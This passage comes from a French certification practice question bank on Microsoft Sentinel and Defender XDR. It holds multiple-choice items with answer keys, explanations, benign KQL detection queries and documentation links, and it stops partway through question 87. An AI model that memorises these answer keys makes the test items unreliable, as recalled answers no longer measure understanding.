L'**ASIM** (Advanced Security Information Model) définit des **schémas normalisés** (Authentication, NetworkSession, DNS, ProcessEvent, FileEvent, WebSession...) et des **analyseurs** (parsers) qui transforment les données de chaque source vers ces schémas. Une même requête s'applique alors à toutes les sources.

### Analyse des réponses incorrectes

- **A.** Impraticable et inutile : la normalisation se fait au moment de la requête ou de l'ingestion.
- **C.** On perdrait les sources non Entra ID.
- **D.** Fusion ne fusionne pas des règles personnalisées ; cette approche multiplie la maintenance.

### Explication technique

Les analyseurs unificateurs intégrés s'appellent `_Im_<Schéma>` (par exemple `_Im_Authentication`, `_Im_NetworkSession`) et acceptent des paramètres de filtrage (starttime, endtime...) qui améliorent les performances. La normalisation peut aussi être faite à l'ingestion vers des tables ASim*. Les règles fondées sur ASIM sont indépendantes des sources.

### Exemple pratique

KQL — MICROSOFT SENTINEL / LOG ANALYTICS

```kql
_Im_Authentication(starttime=ago(1h), endtime=now())
| where EventResult == "Failure"
| summarize Echecs = count(), Comptes = dcount(TargetUsername) by SrcIpAddr
| where Echecs > 50
```

**Point à retenir pour l'examen :** Une détection pour toutes les sources = ASIM (`_Im_Authentication`, `_Im_NetworkSession`...).

### Référence officielle

- Normalisation et modèle ASIM (Advanced Security Information Model) — https://learn.microsoft.com/fr-fr/azure/sentinel/normalization

## Question n° 72 — Surveiller l'intégrité des connecteurs

**Domaine :** Module 1 — Gestion d'un environnement Microsoft Sentinel **Niveau :** Intermédiaire
**Référentiel officiel :** Gérer un environnement d'opérations de sécurité (40–45 %)

**Énoncé :** Le SOC veut être alerté si un connecteur de données cesse d'envoyer des données ou si l'exécution des playbooks échoue. Quelle fonctionnalité activer ?

**A.** Le Secure Score.

**B.** Les signets de chasse.

**C.** L'audit et la surveillance de l'intégrité de Microsoft Sentinel, qui alimentent les tables SentinelHealth et SentinelAudit, puis des règles d'analyse sur ces tables.

**D.** La table SecurityIncident.

**Bonne réponse : C**

### Correction détaillée

La **surveillance de l'intégrité** de Sentinel enregistre dans **SentinelHealth** les événements de santé (connecteurs, règles d'analyse, règles d'automatisation, playbooks) et l'**audit** enregistre dans **SentinelAudit** les modifications de configuration. Des règles d'analyse ou des classeurs exploitent ces données.

### Analyse des réponses incorrectes

- **A.** Sans rapport avec l'intégrité des connecteurs.
- **B.** Outils de chasse, pas de supervision.
- **D.** Elle contient les incidents, pas l'état des connecteurs.

### Explication technique

En complément, une requête de « dernier événement reçu par table » (`summarize max(TimeGenerated) by Type`) détecte un silence anormal. Dans le portail Defender, les **Table insights** signalent aussi des fluctuations d'ingestion par table.

### Exemple pratique

KQL — MICROSOFT SENTINEL / LOG ANALYTICS

```kql
union withsource=TableName SecurityEvent, Syslog, CommonSecurityLog, SigninLogs
| where TimeGenerated > ago(2d)
| summarize DernierEvenement = max(TimeGenerated) by TableName
| where DernierEvenement < ago(2h)
```

**Point à retenir pour l'examen :** Santé de Sentinel = SentinelHealth (connecteurs, règles, playbooks) + SentinelAudit (changements).

### Référence officielle

- Activer l'audit et la surveillance de l'intégrité pour Microsoft Sentinel — https://learn.microsoft.com/fr-fr/azure/sentinel/enable-monitoring
- SentinelHealth — https://learn.microsoft.com/fr-fr/azure/azure-monitor/reference/tables/sentinelhealth

## Question n° 73 — Investigation dans le graphe d'un incident

**Domaine :** Module 1 — Gestion d'un environnement Microsoft Sentinel **Niveau :** Débutant

**Référentiel officiel :** Gérer un environnement d'opérations de sécurité (40–45 %)

**Énoncé :** Dans un incident Sentinel, un analyste veut visualiser les entités (comptes, hôtes, IP) et leurs liens, puis explorer les activités associées à un hôte en un clic. Quelle fonctionnalité utiliser ?

**A.** L'éditeur de règles d'automatisation.

**B.** La page MITRE ATT&CK.

**C.** La page des watchlists.

**D.** Le graphe d'investigation de l'incident et ses requêtes d'exploration (« Related alerts », « Activities »...) sur chaque entité.

**Bonne réponse : D**

**Correction détaillée**

Le **graphe d'investigation** affiche l'incident, ses alertes et ses entités ; chaque entité propose des **requêtes d'exploration** et donne accès à sa **page d'entité** (chronologie, informations UEBA, alertes associées). Les signets peuvent y être ajoutés.

**Analyse des réponses incorrectes**

- **A.** Il configure des automatisations.
- **B.** Elle montre la couverture de détection globale, pas les entités d'un incident.
- **C.** Elle gère des listes de référence.

**Explication technique**

Dans le portail Defender, la page d'incident unifiée propose l'**histoire de l'attaque** (attack story), la liste des alertes, des ressources, des preuves et des enquêtes automatisées. Le **mappage des entités** dans les règles est indispensable pour que ces vues soient utiles.

**Point à retenir pour l'examen :** Explorer les liens entre entités d'un incident = graphe d'investigation / attack story, alimentés par le mappage d'entités.

**Référence officielle**

- Examiner les incidents Microsoft Sentinel en profondeur dans le Portail Azure — https://learn.microsoft.com/fr-fr/azure/sentinel/investigate-incidents

## Question n° 74 — Déployer le contenu Sentinel « as code »

**Domaine :** Module 1 — Gestion d'un environnement Microsoft Sentinel **Niveau :** Intermédiaire

**Référentiel officiel :** Gérer un environnement d'opérations de sécurité (40–45 %)

**Énoncé :** L'équipe d'ingénierie de détection veut versionner ses règles d'analyse, classeurs et playbooks dans GitHub, les faire relire par pull request et les déployer automatiquement dans les espaces de développement et de production. Quelle fonctionnalité Sentinel utiliser ?

**A.** Les référentiels (Repositories) de Microsoft Sentinel, connectés à GitHub ou Azure DevOps, qui déploient le contenu à chaque validation.

**B.** Le hub de contenu uniquement.

**C.** L'export manuel des règles en JSON chaque semaine.

**D.** Les watchlists.

**Bonne réponse : A**

**Correction détaillée**

Les **référentiels** (Repositories) connectent un espace Sentinel à un dépôt **GitHub** ou **Azure DevOps** : à chaque validation sur la branche choisie, un workflow déploie le contenu personnalisé (règles d'analyse, règles d'automatisation, classeurs, requêtes de chasse, analyseurs, playbooks) au format ARM/Bicep.

**Analyse des réponses incorrectes**

- **B.** Le hub distribue des solutions publiées ; il ne déploie pas votre propre dépôt Git.
- **C.** Manuel, sans revue ni déploiement automatisé.
- **D.** Elles stockent des données de référence, pas du contenu de détection.

**Explication technique**

Cette approche « détection-as-code » permet la revue par les pairs, l'historique des modifications, la promotion entre environnements et la reprise après sinistre. Des fichiers de configuration permettent d'ordonner les déploiements et d'éviter de redéployer le contenu inchangé.

**Point à retenir pour l'examen :** Détections versionnées et déployées automatiquement = Repositories (GitHub / Azure DevOps).

**Référence officielle**

- Déployer du contenu en tant que code à partir de votre référentiel — https://learn.microsoft.com/fr-fr/azure/sentinel/ci-cd

## Question n° 75 — Plusieurs espaces Sentinel dans le portail Defender

**Domaine :** Module 1 — Gestion d'un environnement Microsoft Sentinel **Niveau :** Avancé
**Référentiel officiel :** Gérer un environnement d'opérations de sécurité (40–45 %)

**Énoncé :** Une entreprise possède trois espaces Sentinel (Europe, Amériques, Asie) dans un même locataire et les connecte au portail Defender. Quelle affirmation est exacte ?

**A.** Le portail Defender n'accepte qu'un seul espace Sentinel par locataire.

**B.** Chaque espace nécessite un locataire Microsoft Entra distinct.

**C.** Un espace est désigné comme espace principal ; les autres sont connectés comme espaces secondaires, et les incidents et la chasse avancée tiennent compte de cette organisation.

**D.** Les trois espaces sont fusionnés en un seul espace de travail physique.

**Bonne réponse : C**

**Correction détaillée**

La documentation indique que le portail Defender prend en charge **un locataire Microsoft Entra** avec **un espace principal et plusieurs espaces secondaires**. Si un seul espace est connecté, il devient automatiquement principal.

**Analyse des réponses incorrectes**

- **A.** Le portail prend en charge un espace principal et plusieurs espaces secondaires.
- **B.** Le portail Defender prend en charge un seul locataire Entra avec plusieurs espaces.
- **D.** Les espaces restent distincts ; seule l'expérience d'exploitation est unifiée.

**Explication technique**

Certaines fonctionnalités dépendent de l'espace principal (par exemple, la corrélation avec les données Defender XDR, certains connecteurs comme Insider Risk Management ou le connecteur Defender for Cloud basé sur le locataire). Pour plusieurs locataires, on utilise la gestion multilocataire de Defender (Azure Lighthouse avec GDAP n'étant pas pris en charge pour les données Sentinel dans le portail Defender, selon la documentation actuelle).

**Point à retenir pour l'examen :** Portail Defender : un locataire, un espace principal, des espaces secondaires.

**Référence officielle**

- Connecter Microsoft Sentinel au portail Microsoft Defender — https://learn.microsoft.com/fr-fr/azure/sentinel/microsoft-sentinel-onboard
- Microsoft Sentinel dans le portail Microsoft Defender — https://learn.microsoft.com/fr-fr/azure/sentinel/microsoft-sentinel-defender-portal

# Module 2 — Détection et investigation avec Microsoft Defender XDR (questions 76 à 175)

Ce module porte sur **Microsoft Defender XDR** et ses composants : portail, incidents et corrélation, notifications et ajustement des alertes, analyse des menaces, chasse avancée, Security Copilot ; **Defender for Endpoint** (fonctionnalités avancées, ASR, groupes d'appareils, niveaux d'automatisation, collecte personnalisée, actions de réponse, Live Response) ; **AIR et interruption automatique d'attaque** ; **Defender for Office 365** ; **Defender for Identity** ; **Defender for Cloud Apps** ; **Microsoft Entra ID / ID Protection** ; **Microsoft Purview** (audit, eDiscovery, DLP, risques internes) et **journaux d'activité Microsoft Graph** ; **règles de détection personnalisées**.

Les questions de configuration relèvent du domaine officiel 1, les questions d'investigation et de réponse du domaine 2, et les questions de chasse du domaine 3.

## 2.1 Portail Defender XDR : incidents, alertes, corrélation et notifications

### Question n° 76 — Incident et alerte dans Defender XDR

**Domaine :** Module 2 — Détection et investigation avec Microsoft Defender XDR **Niveau :** Débutant
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Quelle est la relation entre alertes et incidents dans Microsoft Defender XDR ?

**A.** Un incident est toujours constitué d'une seule alerte.

**B.** Les alertes sont des signaux individuels produits par les différents services ; Defender XDR les corrèle automatiquement en incidents qui représentent l'histoire complète d'une attaque.

**C.** Les incidents ne concernent que Defender for Endpoint.

**D.** Les alertes sont créées manuellement par les analystes à partir des incidents.

**Bonne réponse : B**

#### Correction détaillée

Les **alertes** sont des éléments de preuve individuels ; Defender XDR les **corrèle** (entités communes, chronologie, logique d'attaque) en **incidents** qui racontent l'attaque de bout en bout et regroupent les ressources touchées (appareils, utilisateurs, boîtes aux lettres, applications).

#### Analyse des réponses incorrectes

- **A.** Un incident peut regrouper de nombreuses alertes de plusieurs produits.
- **C.** Les incidents agrègent des alertes de MDE, MDO, MDI, MDCA, Entra ID Protection, Purview DLP, Defender for Cloud, Sentinel, etc.
- **D.** Les alertes proviennent des détections ; l'incident est l'agrégat.

#### Explication technique

La file des incidents est priorisée (gravité, score de priorité, balises). La page d'incident présente l'histoire de l'attaque, les alertes, les ressources, les enquêtes automatisées, les preuves et réponses. Les alertes peuvent être déplacées d'un incident à un autre et des incidents peuvent être fusionnés automatiquement par le moteur ; la gestion des cas (incident cases) apporte en préversion une expérience de cas recommandée.

**Point à retenir pour l'examen :** Alerte = signal ; incident = corrélation multi-produits d'alertes et de ressources racontant l'attaque.

#### Référence officielle

- Incidents et alertes dans le portail Microsoft Defender — https://learn.microsoft.com/fr-fr/defender-xdr/incidents-overview
- Examiner les alertes dans Microsoft Defender XDR — https://learn.microsoft.com/fr-fr/defender-xdr/investigate-alerts

## Question n° 77 — Notifications par e-mail des incidents

**Domaine :** Module 2 — Détection et investigation avec Microsoft Defender XDR **Niveau :** Débutant
**Référentiel officiel :** Gérer un environnement d'opérations de sécurité (40–45 %)

**Énoncé :** Le responsable de l'astreinte veut recevoir un e-mail uniquement pour les nouveaux incidents de gravité élevée provenant de Defender for Identity et de Defender for Endpoint, pour un groupe d'appareils précis. Où configurer cela ?

**A.** Dans le Centre d'administration Microsoft Entra.

**B.** Dans les stratégies anti-hameçonnage de Defender for Office 365.

**C.** Dans les règles d'automatisation de Sentinel uniquement.

**D.** Dans les paramètres Microsoft Defender XDR > Notifications par e-mail > Incidents, en créant une règle de notification filtrée par gravité, source de service et groupe d'appareils.

**Bonne réponse : D**

### Correction détaillée

Les **notifications d'incidents par e-mail** se configurent dans Defender XDR et peuvent être filtrées par **gravité d'alerte**, **sources de service** (et sources de détection précises), **groupe d'appareils**, avec une gravité par source.

### Analyse des réponses incorrectes

- **A.** Entra ne configure pas les notifications d'incidents Defender.
- **B.** Ces stratégies protègent la messagerie, elles ne notifient pas des incidents.
- **C.** Elles peuvent lancer un playbook d'envoi de mail, mais la fonctionnalité native de notification d'incident est dans les paramètres Defender XDR.

### Explication technique

D'autres notifications existent : **alertes** (Configurer les notifications d'alerte, par gravité et groupe d'appareils), **actions de réponse** (e-mail lors d'actions comme l'isolation) et **analyse des menaces** (nouveaux rapports ou mises à jour). Le référentiel 2026 cite explicitement ces notifications.

**Point à retenir pour l'examen :** Notifications Defender XDR : incidents, alertes, actions de réponse, analyse des menaces — filtrables (gravité, source, groupe d'appareils).

### Référence officielle

- Recevoir des notifications d'incident par e-mail dans Microsoft Defender XDR — https://learn.microsoft.com/fr-fr/defender-xdr/m365d-notifications-incidents

## Question n° 78 — Notification lors d'actions de réponse

**Domaine :** Module 2 — Détection et investigation avec Microsoft Defender XDR **Niveau :** Intermédiaire
**Référentiel officiel :** Gérer un environnement d'opérations de sécurité (40–45 %)

**Énoncé :** Le RSSI veut être averti par e-mail chaque fois qu'un appareil est isolé ou qu'un package d'investigation est collecté, que l'action soit manuelle ou automatique. Quelle fonctionnalité utiliser ?

**A.** Les notifications par e-mail des actions de réponse (response actions) dans les paramètres Defender XDR.

**B.** Le journal d'audit Microsoft Purview uniquement.

**C.** Les notifications de l'analyse des menaces.

**D.** Une règle de suppression d'alerte.

**Bonne réponse : A**

### Correction détaillée

Defender XDR permet de configurer des **notifications par e-mail pour les actions de réponse** (isolation, restriction d'exécution, collecte de package, analyse antivirus, etc.), avec filtrage par type d'action et groupe d'appareils.

### Analyse des réponses incorrectes

- **B.** Il conserve la trace mais n'envoie pas de notification dédiée.
- **C.** Elles concernent la publication de rapports d'analyse des menaces.
- **D.** Elle masque des alertes, à l'opposé du besoin.

### Explication technique

Les notifications d'**analyse des menaces** (threat analytics) préviennent quand un rapport est publié ou mis à jour, éventuellement filtrés par type de menace ou de rapport — utile pour lancer une chasse rapide.

**Point à retenir pour l'examen :** E-mail sur isolation, collecte de package… = notifications d'actions de réponse ; nouveaux rapports = notifications d'analyse des menaces.

### Référence officielle

- Obtenir Notifications par e-mail pour les actions de réponse dans Microsoft Defender XDR — https://learn.microsoft.com/fr-fr/defender-xdr/m365d-response-actions-notifications
- Obtenir Notifications par e-mail des mises à jour d'Analyse des menaces dans Microsoft Defender XDR — https://learn.microsoft.com/fr-fr/defender-xdr/m365d-threat-analytics-notifications

## Question n° 79 — Ajustement des alertes (alert tuning)

**Domaine :** Module 2 — Détection et investigation avec Microsoft Defender XDR **Niveau :** Intermédiaire
**Référentiel officiel :** Gérer un environnement d'opérations de sécurité (40–45 %)

**Énoncé :** Un outil d'administration légitime déclenche quotidiennement une alerte MDE « Suspicious PowerShell command line » sur 30 serveurs. Après analyse, il s'agit d'une activité attendue. Quelle solution réduit le bruit sans désactiver la détection pour le reste du parc ?

**A.** Désactiver l'antivirus Microsoft Defender sur ces serveurs.

**B.** Créer une règle d'ajustement des alertes (alert tuning) qui masque ou résout automatiquement les alertes correspondant à des conditions précises (titre, appareils, ligne de commande ou processus parent).

**C.** Classer chaque incident comme faux positif manuellement chaque jour.

**D.** Ajouter une exclusion antivirus sur powershell.exe pour tout le parc.

**Bonne réponse : B**

### Correction détaillée

L'**ajustement des alertes** (anciennement règles de suppression) crée des règles qui **masquent** ou **résolvent** automatiquement des alertes correspondant à des **conditions précises** (source, titre, preuves : fichier, processus, ligne de commande, IP, URL, appareils, utilisateurs). On peut créer une règle depuis une alerte existante.

### Analyse des réponses incorrectes

- **A.** Cela réduirait gravement la protection.
- **C.** Le bruit persiste et consomme du temps d'analyste.
- **D.** Exclusion beaucoup trop large, qui ouvre une voie d'attaque majeure.

### Explication technique

Les règles s'appliquent aux nouvelles alertes (et optionnellement aux alertes existantes). Il faut garder des conditions restrictives et revoir périodiquement les règles. Classer les incidents (faux positif, activité attendue) aide aussi Microsoft à améliorer les détections.

**Point à retenir pour l'examen :** Bruit connu et légitime = alert tuning ciblé, jamais d'exclusion antivirus globale.

**Référence officielle**

- Examiner les alertes dans Microsoft Defender XDR — https://learn.microsoft.com/fr-fr/defender-xdr/investigate-alerts
- Gérer des règles de suppression — https://learn.microsoft.com/fr-fr/defender-endpoint/manage-suppression-rules

## Question n° 80 — Classification d'un incident

**Domaine :** Module 2 — Détection et investigation avec Microsoft Defender XDR **Niveau :** Débutant
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Un incident de type « activité suspecte » s'avère être un exercice d'équipe rouge autorisé par la direction. Quelle classification attribuer à la fermeture ?

**A.** Vrai positif – attaque multiétape.

**B.** Faux positif – pas assez de données.

**C.** Informationnel, activité attendue (Informational, expected activity) avec la détermination « Test de sécurité » (Security testing).

**D.** Ne pas classer l'incident.

**Bonne réponse : C**

**Correction détaillée**

Defender XDR propose trois classifications : **Vrai positif** (activité malveillante), **Informationnel, activité attendue** (activité réelle mais légitime : test de sécurité, application métier, activité confirmée) et **Faux positif** (la détection s'est trompée). Un exercice d'équipe rouge relève de « Informationnel, activité attendue » – **Security testing**.

**Analyse des réponses incorrectes**

- **A.** L'activité est réelle mais autorisée ; il ne s'agit pas d'une attaque malveillante.
- **B.** La détection était correcte : elle a bien vu l'activité.
- **D.** La classification améliore les statistiques et le réglage des détections.

**Explication technique**

Déterminations du vrai positif : attaque multiétape, activité utilisateur malveillante, hameçonnage, compte compromis, malware, logiciel indésirable, autre. Faux positif : non malveillant, pas assez de données, autre. Côté Sentinel, l'équivalent est True Positive / Benign Positive / False Positive / Undetermined.

**Point à retenir pour l'examen :** Activité réelle mais autorisée = « Informationnel, activité attendue » (Benign Positive) ; détection erronée = Faux positif.

**Référence officielle**

- Gérer les incidents dans le portail Microsoft Defender (hérité) — https://learn.microsoft.com/fr-fr/defender-xdr/manage-incidents

## Question n° 81 — Fusion et scission d'incidents

**Domaine :** Module 2 — Détection et investigation avec Microsoft Defender XDR **Niveau :** Intermédiaire
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Deux incidents concernent manifestement la même attaque (même utilisateur et même IP de commande et contrôle), mais n'ont pas été corrélés automatiquement. Que peut faire l'analyste dans le portail Defender ?

**A.** Recréer manuellement toutes les alertes dans un nouvel incident.

**B.** Supprimer l'un des incidents.

**C.** Rien : la corrélation est uniquement automatique.

**D.** Déplacer les alertes de l'un vers l'autre (ou fusionner les incidents manuellement selon l'expérience disponible) afin de centraliser l'investigation.

**Bonne réponse : D**

**Correction détaillée**

Le portail permet de **lier une alerte à un autre incident** (déplacement) et, dans l'expérience des cas d'incident, de **fusionner manuellement** des cas. Le moteur de corrélation fusionne aussi automatiquement des incidents quand de nouvelles preuves les relient.

**Analyse des réponses incorrectes**

- **A.** Inutile : le portail permet de déplacer des alertes entre incidents.
- **B.** La suppression d'incidents n'est pas la méthode ; on perdrait la traçabilité.
- **C.** Des actions manuelles de déplacement d'alertes et de fusion sont prévues.

**Explication technique**

Les critères de corrélation automatique incluent les entités partagées, la proximité temporelle, la logique d'attaque et des modèles ML. La fusion automatique ne se produit pas, par exemple, si un incident est fermé ou dépasse certaines limites (nombre d'alertes). Documentez la raison dans un commentaire.

**Point à retenir pour l'examen :** Incidents liés non corrélés → déplacer les alertes / fusionner manuellement, avec un commentaire.

**Référence officielle**

- Corrélation des alertes et fusion des incidents dans le portail Microsoft Defender — https://learn.microsoft.com/fr-fr/defender-xdr/alerts-incidents-correlation
- Gérer les incidents dans le portail Microsoft Defender (hérité) — https://learn.microsoft.com/fr-fr/defender-xdr/manage-incidents

## Question n° 82 — Priorisation de la file d'incidents

**Domaine :** Module 2 — Détection et investigation avec Microsoft Defender XDR **Niveau :** Intermédiaire
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** En début de poste, un analyste dispose de 45 incidents ouverts. Quelle méthode est la plus efficace pour décider lequel traiter en premier ?

**A.** Traiter d'abord les incidents les plus anciens, quelle que soit leur gravité.

**B.** Trier par gravité et score de priorité, puis examiner les incidents impliquant des actifs critiques (comptes à privilèges, contrôleurs de domaine), plusieurs sources de détection ou une interruption d'attaque en cours.

**C.** Traiter d'abord ceux qui contiennent le plus grand nombre d'alertes informatives.

**D.** Traiter les incidents par ordre alphabétique de titre.

**Bonne réponse : B**

**Correction détaillée**

Le triage s'appuie sur la **gravité**, le **score de priorité** calculé par Defender, la **criticité des ressources** (Security Exposure Management permet de marquer des actifs critiques), le **nombre de produits** impliqués, les **balises** (par exemple « Attack disruption ») et l'impact métier.

**Analyse des réponses incorrectes**

- **A.** Un incident critique récent doit passer avant un incident informatif ancien.
- **C.** Le volume d'alertes informatives n'indique pas la criticité.
- **D.** Aucun lien avec le risque.

**Explication technique**

Utilisez les filtres enregistrés de la file (statut, gravité, sources, catégories, balises, propriétaire). Les incidents affichent aussi la catégorie MITRE et les ressources impactées. Copilot peut produire un résumé pour accélérer la compréhension.

**Point à retenir pour l'examen :** Triage = gravité + score de priorité + criticité des actifs + multi-sources + étiquettes d'interruption.

**Référence officielle**

- Incidents et alertes dans le portail Microsoft Defender — https://learn.microsoft.com/fr-fr/defender-xdr/incidents-overview
- Examiner les incidents dans le portail Microsoft Defender (ancienne version) — https://learn.microsoft.com/fr-fr/defender-xdr/investigate-incidents

## Question n° 83 — Analyse des menaces (Threat analytics)

**Domaine :** Module 2 — Détection et investigation avec Microsoft Defender XDR **Niveau :** Débutant
**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %)

**Énoncé :** Un nouveau rapport d'analyse des menaces décrit une campagne d'un groupe de rançongiciel. Quelles informations ce rapport fournit-il spécifiquement pour votre organisation ?

**Sélectionnez deux réponses.**

**A.** L'état d'exposition : mitigations recommandées et vulnérabilités ou configurations de votre environnement concernées.

**B.** Le mot de passe des comptes compromis.

**C.** Les incidents et alertes liés à la menace dans votre locataire, ainsi que les ressources impactées.

**D.** Le remboursement automatique des pertes financières.

**E.** La liste nominative des membres du groupe criminel.

**Bonne réponse : A, C**

**Correction détaillée**

L'**analyse des menaces** combine un **rapport d'analyste** Microsoft (TTP, indicateurs, requêtes de chasse) et des données propres au locataire : **incidents/alertes associés**, **ressources impactées**, **exposition et mitigations** (configurations sécurisées, vulnérabilités, état des protections).

**Analyse des réponses incorrectes**

- **B.** Aucune solution ne divulgue de mots de passe.
- **D.** Sans rapport avec la fonctionnalité.
- **E.** Le rapport décrit les TTP et indicateurs, pas l'identité des attaquants.

**Explication technique**

Les rapports proposent souvent des requêtes de chasse avancée prêtes à l'emploi. Le référentiel cite « Interpréter l'analyse des menaces dans Microsoft Defender XDR ». Les notifications par e-mail d'analyse des menaces permettent d'être prévenu des nouveaux rapports.

**Point à retenir pour l'examen :** Threat analytics = rapport d'analyste + incidents liés + ressources impactées + exposition/mitigations.

**Référence officielle**

- Analyse des menaces dans Microsoft Defender — https://learn.microsoft.com/fr-fr/defender-xdr/threat-analytics

## Question n° 84 — Chasse avancée : portée et rétention

**Domaine :** Module 2 — Détection et investigation avec Microsoft Defender XDR **Niveau :** Débutant
**Référentiel officiel :** Effectuer la chasse aux menaces (20–25 %)

**Énoncé :** Quelle affirmation sur la chasse avancée (advanced hunting) du portail Defender est exacte ?

**A.** Elle utilise le langage SQL.

**B.** Elle conserve par défaut 2 ans de données brutes.

**C.** Elle permet d'interroger en KQL jusqu'à 30 jours de données brutes Defender XDR et, lorsque Sentinel est connecté, les tables de l'espace Sentinel dans la même interface.

**D.** Elle ne permet pas de créer des détections.

**Bonne réponse : C**

**Correction détaillée**

La **chasse avancée** interroge en **KQL** les tables Defender XDR (Device*, Email*, Identity*, CloudAppEvents, Alert*...) sur **30 jours** et, avec Sentinel intégré au portail Defender, les tables Sentinel. On peut créer des **règles de détection personnalisées** et agir sur les résultats (Take action).

**Analyse des réponses incorrectes**

- **A.** La chasse avancée utilise le Kusto Query Language (KQL).
- **B.** Les données de chasse avancée XDR sont conservées 30 jours par défaut.
- **D.** On peut créer des règles de détection personnalisées à partir d'une requête de chasse avancée.

**Explication technique**

Les tables XDR utilisent **Timestamp** comme colonne temporelle ; les tables Sentinel utilisent **TimeGenerated**. Des quotas protègent le service (durée d'exécution, ressources). Le **mode guidé** aide à construire des requêtes sans écrire de KQL. Copilot peut générer du KQL à partir d'une demande en langage naturel.

**Point à retenir pour l'examen :** Chasse avancée = KQL, 30 jours de données XDR, tables Sentinel intégrées, détections personnalisées et actions.

**Référence officielle**

- Chasser de manière proactive les menaces avec une chasse avancée dans Microsoft Defender — https://learn.microsoft.com/fr-fr/defender-xdr/advanced-hunting-overview
- Chasse avancée avec les données Microsoft Sentinel dans le portail Microsoft Defender — https://learn.microsoft.com/fr-fr/defender-xdr/advanced-hunting-microsoft-defender

## Question n° 85 — Agir depuis les résultats de chasse

**Domaine :** Module 2 — Détection et investigation avec Microsoft Defender XDR **Niveau :** Intermédiaire
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Une requête de chasse avancée renvoie 12 appareils où un binaire malveillant (SHA256 connu) a été exécuté. L'analyste veut isoler ces appareils et mettre le fichier en quarantaine directement depuis les résultats. Est-ce possible ?

**A.** Non : la chasse avancée est en lecture seule.

**B.** Non : il faut obligatoirement passer par Live Response sur chaque appareil.

**C.** Oui, mais uniquement pour les e-mails.

**D.** Oui : la fonctionnalité « Prendre des mesures » (Take action) des résultats de chasse avancée permet d'appliquer des actions sur les appareils (isolation, analyse antivirus, package d'investigation...) et sur les fichiers (quarantaine, indicateur).

**Bonne réponse : D**

**Correction détaillée**

**Take action** propose des actions selon les colonnes de résultats : **appareils** (DeviceId : isoler, collecter un package, analyse AV, restreindre l'exécution, lancer une enquête), **fichiers** (SHA1/SHA256 : quarantaine,

ajout d'indicateur), **e-mails** (NetworkMessageId + RecipientEmailAddress : déplacer, supprimer), **utilisateurs**.

**Analyse des réponses incorrectes**

- **A.** Des actions sont disponibles sur les résultats lorsque la requête renvoie les colonnes d'identification requises.
- **B.** Live Response n'est pas nécessaire pour ces actions.
- **C.** Les actions couvrent appareils, fichiers, e-mails et utilisateurs selon les colonnes renvoyées.

**Explication technique**

Les actions sont tracées dans le **Centre de notifications** (Action center > Historique). Les autorisations requises dépendent des actions (rôles de réponse). Pour automatiser, transformez la requête en **règle de détection personnalisée** avec actions automatiques.

**Point à retenir pour l'examen :** Résultats de chasse → Take action (appareils, fichiers, e-mails, utilisateurs) ; tout est tracé dans l'Action center.

**Référence officielle**

- Effectuer des actions sur les résultats de requête de chasse avancée — https://learn.microsoft.com/fr-fr/defender-xdr/advanced-hunting-take-action

## Question n° 86 — Investiguer avec Security Copilot dans Defender

**Domaine :** Module 2 — Détection et investigation avec Microsoft Defender XDR **Niveau :** Intermédiaire
**Référentiel officiel :** Répondre aux incidents de sécurité (35–40 %)

**Énoncé :** Un analyste junior doit comprendre rapidement un incident de 18 alertes et rédiger un rapport pour la direction. Quelles capacités de Microsoft Security Copilot intégré au portail Defender l'aident directement ?

**Sélectionnez deux réponses.**

**A.** La garantie qu'aucune vérification humaine n'est nécessaire.

**B.** La désactivation automatique de toutes les règles d'analyse bruyantes.

**C.** La génération d'un rapport d'incident et l'analyse de scripts ou de lignes de commande suspects.

**D.** Le remplacement du moteur de corrélation XDR.

**E.** Le résumé d'incident et les réponses guidées (guided responses).

**Bonne réponse : C, E**

**Correction détaillée**

**Copilot dans Defender** propose : **résumé d'incident**, **réponses guidées** (actions de tri, de confinement, d'investigation, de remédiation), **analyse de scripts** et de lignes de commande, **analyse de fichiers**, **résumés d'appareils et d'identités**, **génération de KQL** et **création de rapports d'incident**. Des **agents** Security Copilot (par exemple l'agent de tri de l'hameçonnage) automatisent certaines tâches.

**Analyse des réponses incorrectes**

- **A.** Les sorties de l'IA doivent être validées par l'analyste.
- **B.** Copilot ne désactive pas des règles de détection de sa propre initiative.
- **D.** Copilot assiste l'analyste ; il ne remplace pas la corrélation.

**Explication technique**

Le référentiel 2026 inclut « Examiner les incidents à l'aide d'une IA agentique, y compris Microsoft Security Copilot intégré ». Copilot respecte les autorisations de l'utilisateur ; ses conclusions sont des aides à la décision, à vérifier. L'usage dépend de la disponibilité de capacités Security Copilot (unités de calcul) dans le locataire.

**Point à retenir pour l'examen :** Copilot dans Defender = résumés, réponses guidées, analyse de

scripts/fichiers, KQL, rapports ; validation humaine nécessaire.

**Référence officielle**

- Résumer un incident avec Microsoft Copilot dans Microsoft Defender — https://learn.microsoft.com/fr-fr/defender-xdr/security-copilot-m365d-incident-summary
- Déployer des agents IA dans Microsoft Defender — https://learn.microsoft.com/fr-fr/defender-xdr/security-copilot-agents-defender

## 2.2 Defender for Endpoint : configuration et politiques

### Question n° 87 — Fonctionnalités avancées requises pour les indicateurs réseau

**Domaine :** Module 2 — Détection et investigation avec Microsoft Defender XDR **Niveau :** Intermédiaire
**Référentiel officiel :** Gérer un environnement d'opérations de sécurité (40–45 %)

**Énoncé :** Vous créez des indicateurs personnalisés pour bloquer une adresse IP et un domaine de commande et contrôle. Ils fonctionnent dans Microsoft Edge mais pas dans Google Chrome. Quelle configuration manque ?

**A.** L'activation de « Custom network indicators » dans les fonctionnalités avancées et la protection réseau (network protection) en mode bloc sur les appareils.

**B.** L'activation de l'analyse approfondie (deep analysis).

**C.** L'isolation de tous les appareils.

**D.** Le niveau d'automatisation « No automated response ».

**Bonne réponse : A**

**Correction détaillée**

Dans Edge, les indicateurs d'URL/IP sont appliqués via **SmartScreen**. Pour les autres navigateurs et processus, l'application repose sur la **protection réseau** en **mode bloc**, et il faut activer **« Custom network indicators »** dans les fonctionnalités avancées.

**Analyse des réponses incorrectes**

- **B.** Elle analyse des fichiers en bac à sable, sans lien avec le blocage réseau.
- **C.** Disproportionné et non lié au mécanisme d'indicateur.
- **D.** Le niveau d'automatisation n'intervient pas dans l'application des indicateurs réseau.

**Explication technique**

